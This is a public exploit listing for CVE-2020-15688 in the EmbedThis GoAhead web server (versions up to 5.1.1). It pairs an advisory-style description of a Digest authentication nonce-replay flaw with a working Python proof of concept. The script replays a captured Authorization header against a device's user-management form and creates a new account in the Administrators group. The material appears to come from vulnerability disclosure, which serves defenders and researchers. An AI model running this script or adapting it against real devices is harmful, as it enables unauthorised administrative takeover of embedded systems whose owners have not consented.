Exploit for EmbedThis GoAhead Web Server 5.1.1 Digest Authentication Capture Replay Nonce Reuse CVE-2020-15688

## https://sploitus.com/exploit?id=PACKETSTORM:159505
#!/usr/bin/env python3  
# -*- coding: utf-8 -*-  
#  
# EmbedThis GoAhead Web Server 5.1.1 Digest Authentication Capture Replay Nonce Reuse  
#  
#  
# Vendor: Embedthis Software LLC  
# Product web page: https://www.embedthis.com  
# Affected version: <=5.1.1 and <=4.1.2  
# Fixed version: >=5.1.2 and >=4.1.3  
#  
# Summary: GoAhead is the world's most popular, tiny embedded web server. It is compact,  
# secure and simple to use. GoAhead is deployed in hundreds of millions of devices and is  
# ideal for the smallest of embedded devices.  
#  
# Desc: A security vulnerability affecting GoAhead versions 2 to 5 has been identified when  
# using Digest authentication over HTTP. The HTTP Digest Authentication in the GoAhead web  
# server does not completely protect against replay attacks. This allows an unauthenticated  
# remote attacker to bypass authentication via capture-replay if TLS is not used to protect  
# the underlying communication channel. Digest authentication uses a "nonce" value to mitigate  
# replay attacks. GoAhead versions 3 to 5 validated the nonce with a fixed duration of 5 minutes  
# which permitted short-period replays. This duration is too long for most implementations.  
#  
# Tested on: GoAhead-http  
# GoAhead-Webs  
#  
#  
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
# @zeroscience  
#  
#  
# Advisory ID: ZSL-2020-5598  
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5598.php  
#  
# CVE ID: CVE-2020-15688  
# CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15688  
# https://nvd.nist.gov/vuln/detail/CVE-2020-15688  
#  
# CWE ID: CWE-294 Authentication Bypass by Capture-replay  
# CWE URL: https://cwe.mitre.org/data/definitions/294.html  
#   
# CWE ID: CWE-323: Reusing a Nonce, Key Pair in Encryption  
# CWE URL: https://cwe.mitre.org/data/definitions/323.html  
#  
# GoAhead Security Alerts / Fix:  
# https://github.com/embedthis/goahead-gpl/issues/3  
# https://github.com/embedthis/goahead-gpl/issues/2  
# https://github.com/embedthis/goahead-gpl/commit/fe0662f945bd7e24b8d621929e1b93d8a7f3f08f#diff-0988df549d878c849d7f2c073319bcb2  
#  
#  
# 29.08.2019  
#  
  
  
#  
# PoC for a network controller running GoAhead web server.  
# Replay Authentication Bypass / Create Admin User  
#  
  
import requests  
import sys#####  
  
if (len(sys.argv) <= 1):  
print("Usage: ./nen.py <ipaddress>")  
exit(0)  
  
ip = sys.argv[1]  
  
url = "http://"+ip+"/goform/formUserManagementAdd?lang=en"  
kolache = {"lang":"en"}  
  
replay = "Digest username=\"admin\", "  
replay += "realm=\"GoAhead\", "  
replay += "nonce=\"5fb3ce6dec423bf8b8f0dfc8cf65244d\", "  
replay += "uri=\"/goform/formUserManagementAdd?lang=en\", "  
replay += "algorithm=MD5, "  
replay += "response=\"1c05f4d08aa0cfcc5318882e0fb4e9af\", "  
replay += "opaque=\"5ccc069c403ebaf9f0171e9517f40e41\", "  
replay += "qop=auth, "  
replay += "nc=0000000a, "  
replay += "cnonce=\"0649f631320f23bb\""  
  
headers = {"Cache-Control": "max-age=0",  
"Authorization": replay,  
"Content-Type": "application/x-www-form-urlencoded",  
"User-Agent": "NoProxy/NoProblem.251",  
"Accept-Encoding": "gzip, deflate",  
"Accept-Language": "mk-MK;q=0.9,mk;q=0.8",  
"Connection": "close"}  
  
data = {"FormSubmitCause": "button",  
"DefinitionAction": "add",  
"Define_admin_ID": "admin",  
"Define_admin_Name": "admin",  
"Define________Action________ID": '',  
"Define________Action________Name": "testingus",  
"Define________Action________Password": "testingus",  
"Define________Action________Group": "Administrators"}  
  
requests.post(url, headers=headers, cookies=kolache, data=data)  
  
print("Finito")